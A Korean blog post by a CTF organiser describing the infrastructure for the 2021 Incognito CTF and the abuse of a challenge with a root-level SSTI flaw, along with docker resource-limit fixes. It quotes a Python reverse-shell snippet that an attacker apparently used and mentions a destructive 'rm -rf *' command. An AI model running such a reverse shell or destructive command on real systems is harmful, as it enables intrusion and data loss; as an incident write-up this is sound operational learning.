2021 인코그니토 CTF 운영 후기 (공개용)
올해 인코그니토 CTF 운영진으로 활동하였습니다.
대회는 08-27T18:00 ~ 08-29T00:00 까지 30시간 진행되었습니다.
전 날까지 동아리 공방전을 운영하고 왔던 터라 시작도 전에 힘들었습니다.
일주일에 몬스터 두캔, 아메리카노 다수, 박카스 3병...
제 간이 욕하는 소리가 들리네요.
우선 대회 시작전 준비 얘기부터 시작해보겠습니다.
처음 AWS랑 만났습니다.
AWS는 참 말이 많은 아이입니다.
방심하면, 설정을 잘못하면, 얼타면 과금된다고 하죠
다행히 저희 CTF에서 사용하기로 한 것은 lightsail이였습니다.
lightsail은 ec2보단 설정이 간편합니다.
그저 ssh 포트에 IP 제한 걸고 열고 싶은 포트만 열고 그정도죠.
ctf 사이트는 가장 유명한 ctfd 프로젝트를 사용하였습니다.
도커로 상당히 잘 구성되있어 인증서 관련하여 nginx만 건들였습니다.
ctfd는 참 좋긴 한데 분야가 web + crypto 같이 여러개일 때 아쉬운 것 같습니다.
KCTF 운영할 때는 좀 더 괜찮은 프로젝트를 구경해봐야겠습니다.
https://github.com/juice-shop/juice-shop-ctf
GitHub - juice-shop/juice-shop-ctf: Capture-the-Flag (CTF) environment setup tools for OWASP Juice Shop supporting CTFd, FBCTF a
Capture-the-Flag (CTF) environment setup tools for OWASP Juice Shop supporting CTFd, FBCTF and RootTheBox - GitHub - juice-shop/juice-shop-ctf: Capture-the-Flag (CTF) environment setup tools for OW...
github.com
잠깐 찾아봤는데 이것도 괜찮을 것 같습니다.
ctfd를 로컬에서 운영하는 것도 생각했습니다.
ctf 사이트도 취약점이 있을 수 있기에 따로 격리를 위해 도커를 사용하였습니다.
두 번째 과제는 문제를 서버에 등록하는 것이였습니다.
docker-compose는 상당히 편합니다.
출제자가 잘 구성해놓으면 저는 docker-compose up -d --build만 하면 되죠
"출제자가 잘 구성해놓으면"이 핵심입니다.
대부분의 문제는 잘 구성되있었습니다.
그래서 구축 시간의 단축을 위해 아래 명령어로 패키지 저장소만 손봤습니다.
sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && apt-get update
한 세 문제 정도가 단순히 구축이 안되었습니다.
첫 번째 문제는 docker 이미지를 hub에 올려서 그걸 띄워달라 하셨습니다.
하지만 그걸 외부에서 어떻게 접근할지에 대한 설명이 없으셨습니다.
따로 연락을 해서 이 부분을 명확히 해서 다시 제출을 부탁드렸습니다.
두 번째 문제는 FROM $IMAGE로 변수에 제대로 값이 안와서 build가 힘들었습니다.
나중에 알고보니 docker-compose.yml이 같이 제공이 안된 단순한 이슈였습니다.
세 번째 문제는 출제자 측에서 연락이 왔습니다.
"PoC 대로 입력했는데 500 Error 가 터져요"
그래서 서버로그를 확인해보니 한글 관련 인코딩 이슈였습니다.
딱히 해결되는 것 같지가 않아서 그냥 한글을 지웠습니다.
근데 SSTI를 통해 RCE가 가능하여 id 명령어를 쳐봤는데
root로 떴습니다.
이 때 수정했어야 했습니다.
root의 힘은 어느정도냐 함은 apt install 도 가능합니다.
일단 나둔 이유는 출제자가 풀이를 위해 의도한 것이라 생각했기 때문입니다.
그렇게 CTF가 시작되고 얼마 지나지 않아 갑자기 CPU 사용률이 3~40%로 증가하였습니다.
얼마 안되보이지만 8 core라는걸 잊으면 안됩니다.
앱스토어에 server cat이라는 좋은 서버 모니터링 프로그램이 있습니다.
https://apps.apple.com/us/app/servercat-linux-status-ssh/id1501532023
ServerCat - Linux Status & SSH
ServerCat is a Linux monitor and Docker Management & SSH Terminal app. ServerCat makes it easy to monitor your server status on your mobile. It shows detail running status of your linux servers and docker containers. It only needs an SSH account without
apps.apple.com
무려 docker 컨테이너 상황까지 알려줘서 모니터링 보조로 사용하였습니다.
시작하자마자 docker container 하나가 불타오르기 시작합니다.
바로 root 권한으로 RCE가 가능했던 그 문제 였습니다.
100%... 200% ... 300% 까지 심각해지고 있어서 docker log를 확인하였습니다.
find . -name "flag"를 많은 유저분께서 돌리고 계셨습니다.
SSTI 취약점이 별다른 우회없이, 막힌 것 없이 돌아가서 더더욱 초반부터 의도하지 않았을 DoS 공격이 이루어졌습니다.
컨테이너의 상황을 알기 위해서 사용한 명령어들은 아래와 같습니다.
# docker container 전체 상황 확인
# --no-stream은 딱 그 순간만 보여주는 것 기본은 명령어를 치고나서 계속 보여준다.
docker stats --no-stream
# 특정 컨테이너 상황을 보는법
docker stats ${container_name} --no-stream
# 컨테이너 로그 확인
docker logs ${container_name}
# 컨테이너 로그 위치
# 전 해당 경로에 접근하기 위해서 root 권한이 요구됬었습니다.
/var/lib/docker/cotainers/${CONTAINER_ID}/${CONTAINER_ID}-json.log
그래서 좀 cpu 사용률을 제한 할 수 없나 하고 사용한 것이 바로 --cpus 옵션입니다.
docker update --cpus "2" ${CONTAINER_ID} # 2 = 200%
최대 사용률을 제한해 놨더니 일단 서버 부하는 어느정도 해결되었습니다.
그런데 제보가 들어옵니다.
1시간 반만에 PoC가 안통한다고 연락이 와서 bash로 접근하려 했는데 연결이 안됩니다.
log를 확인하니 ㅎ.. 누가 rm -rf * 명령어를 쳤습니다.
어뷰징이 있을 수 있다라곤 생각했지만 이런 대회에서 할 거라곤 생각도 안했습니다.
그렇게 서버를 내렸고 전 라이브 패치를 시작했습니다.
문제 풀이에 지장이 가지 않는 선에서 어뷰징 문제만 해결해야 했습니다.
그래서 우선 USER를 root가 아닌 일반 유저로 만들었습니다.
그리고 서버내에서 flag를 찾는 문제가 아니였기 때문에 몇 가지 명령어에 실행권한을 제거했습니다.
나중에 컨테이너에 직접적으로 수정할이 생겨서 docker exec을 활용하려는데 문제가 생겼습니다.
일반 사용자 권한으로 접근되버린 것입니다.
그래서 좀 찾아보니 --user 옵션으로 root권한으로 접근이 가능했습니다.
그 후 새벽에는 좀 문제 관련 피드백 해주고 제가 낸 문제 access.log 확인하면서 시간을 보냈습니다.
둘째 날 오후까지 평온했는데 가장 큰 문제가 발생합니다.
처음엔 그저 문제 사이트가 접속이 안되어 재시작하겠다는 내용이였는데
쉘에 접근이 안된다는 소리를 듣게 됩니다.
전 ssh key 관련 문제일려나 싶어서 pem 파일을 드리려는데 서버가 다운됬다는 소식을 듣습니다.
..................
그렇게 멘붕이 와서 보니 또 범인은 똑같았습니다.
user 권한이지만 너무 많은 유저들이 프로세스를 생성하여 해당 컨테이너가 만든 pid가 상당했습니다.
그래서 pid 제한 옵션을 또 걸었습니다.
docker update --pids-limt 100 ${CONTAINER_ID}
또 다른 이슈가 나왔는데 누가 flask를 제거한 것 이였습니다.
...? 그게 되나 싶어 pip uninstall을 해보니 잘 됩니다..?
그래서 누가 범인이지 하고 찾으러 가는데
가는데... 로그가 존재하지 않습니다.
무슨 일인가 싶었는데 운영팀장님께서 원인을 찾아내셨습니다.
import socket, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect("IP", port)
## maybe file descriptor
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/sh")
이런 식으로 socket 통신을 통해 쉘을 획득하면 로그도 상대방에게 갑니다.
...!
누가 지웠는지는 모르겠고 일단 재시작을 하고 똑같은 이슈는 없었습니다. 다행히...
일단 docker의 장점이 여기서도 보인것이 서버가 재시작되었지만 제가 컨테이너 대부분에 restart 옵션을 두어서
몇 서버 빼고 정상 운영되었습니다.
"그 문제"가 젤 아쉬웠습니다.
500에러는 서버측 에러라는 뜻이기에 저희에게 화살이 돌아옵니다.
운영진이 서버를 잘 운영안한다면서 말이죠
하지만 이는 문제 제공자가 error handling을 제대로 안해서 생긴 문제입니다.
저희도 억울할 수 밖에 없지요 ㅠㅠ..
좀 이런 부분은 소양 교육이나 가이드 라인을 만들면 좋을 것 같습니다.
말 나온김에 CTF 출제 가이드 라인을 만들어놔야 겠습니다.
좀 많이 아쉽기는 했지만 그래도 대규모 트래픽에 대해 대처해본 경험을 할 수 있어 좋았습니다.
CTF 문제 검수를 잘 한다면 내년엔 더 좋아질 겁니다.
다음 포스트는 동아리 공방전 운영 이야기를 써보겠습니다.